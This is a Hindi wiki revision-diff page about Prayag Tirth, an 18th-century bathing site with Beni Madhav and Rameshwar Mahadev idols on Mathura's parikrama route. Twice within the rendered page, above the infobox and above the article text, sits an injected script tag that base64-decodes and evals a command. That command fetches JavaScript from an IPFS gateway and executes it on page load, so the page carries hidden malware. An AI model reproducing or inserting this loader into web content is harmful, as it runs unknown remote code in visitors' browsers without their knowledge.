"प्रयाग तीर्थ" के अवतरणों में अंतर
पंक्ति १: | पंक्ति १: | ||
{{Tourism3 | {{Tourism3 | ||
|Image=Blank-Image-2.jpg | |Image=Blank-Image-2.jpg | ||
− | |Location=यह मथुरा के परिक्रमा मार्ग पर स्थित है । | + | |Location=यह [[मथुरा]] के परिक्रमा मार्ग पर स्थित है । |
|Archeology=निर्माणकाल- अठारहवीं शताब्दी | |Archeology=निर्माणकाल- अठारहवीं शताब्दी | ||
|Sculpture=यहाँ बिना छतरी के दो बुर्ज मात्र ही बचे हैं । इसे बनाने में लखोरी ईंट व चूने, लाल एवं बलुआ पत्थर का इस्तेमाल किया गया है । | |Sculpture=यहाँ बिना छतरी के दो बुर्ज मात्र ही बचे हैं । इसे बनाने में लखोरी ईंट व चूने, लाल एवं बलुआ पत्थर का इस्तेमाल किया गया है । | ||
|Owner=उत्तर प्रदेश सरकार | |Owner=उत्तर प्रदेश सरकार | ||
}} | }} | ||
− | |||
− | |||
==प्रयाग तीर्थ / Prayag Tirth== | ==प्रयाग तीर्थ / Prayag Tirth== | ||
प्रयागनामतीर्थं तु देवानामपि दुर्ल्लभम् ।<br /> | प्रयागनामतीर्थं तु देवानामपि दुर्ल्लभम् ।<br /> | ||
तस्मिन् स्नातो नरो देवि ! अग्निष्टोमफलं लभेत ।।<br /> | तस्मिन् स्नातो नरो देवि ! अग्निष्टोमफलं लभेत ।।<br /> | ||
यहाँ तीर्थराज [[प्रयाग]] भगवद् आराधना करते हैं। यहीं पर प्रयाग के वेणीमाधव नित्य अवस्थित रहते हैं। यहाँ स्नान करने वाले अग्निष्टोम आदि का फल प्राप्त कर वैकुण्ठ धाम को प्राप्त होते हैं। | यहाँ तीर्थराज [[प्रयाग]] भगवद् आराधना करते हैं। यहीं पर प्रयाग के वेणीमाधव नित्य अवस्थित रहते हैं। यहाँ स्नान करने वाले अग्निष्टोम आदि का फल प्राप्त कर वैकुण्ठ धाम को प्राप्त होते हैं। | ||
− | ==इतिहास== | + | ====इतिहास==== |
यहाँ बेनी माधव व रामेश्वर महादेव की मूर्तियाँ स्थापित हैं । | यहाँ बेनी माधव व रामेश्वर महादेव की मूर्तियाँ स्थापित हैं । | ||
<br /> | <br /> |
०७:११, ३ फ़रवरी २०१० का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
प्रयाग तीर्थ
| |
---|---|
मार्ग स्थिति: | यह मथुरा के परिक्रमा मार्ग पर स्थित है । |
आस-पास: | |
पुरातत्व: | निर्माणकाल- अठारहवीं शताब्दी |
वास्तु: | यहाँ बिना छतरी के दो बुर्ज मात्र ही बचे हैं । इसे बनाने में लखोरी ईंट व चूने, लाल एवं बलुआ पत्थर का इस्तेमाल किया गया है । |
स्वामित्व: | उत्तर प्रदेश सरकार |
प्रबन्धन: | |
स्त्रोत: | |
अन्य लिंक: | |
अन्य: | |
सावधानियाँ: | |
मानचित्र: | |
अद्यतन: |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
प्रयाग तीर्थ / Prayag Tirth
प्रयागनामतीर्थं तु देवानामपि दुर्ल्लभम् ।
तस्मिन् स्नातो नरो देवि ! अग्निष्टोमफलं लभेत ।।
यहाँ तीर्थराज प्रयाग भगवद् आराधना करते हैं। यहीं पर प्रयाग के वेणीमाधव नित्य अवस्थित रहते हैं। यहाँ स्नान करने वाले अग्निष्टोम आदि का फल प्राप्त कर वैकुण्ठ धाम को प्राप्त होते हैं।
इतिहास
यहाँ बेनी माधव व रामेश्वर महादेव की मूर्तियाँ स्थापित हैं ।
साँचा:यमुना के घाट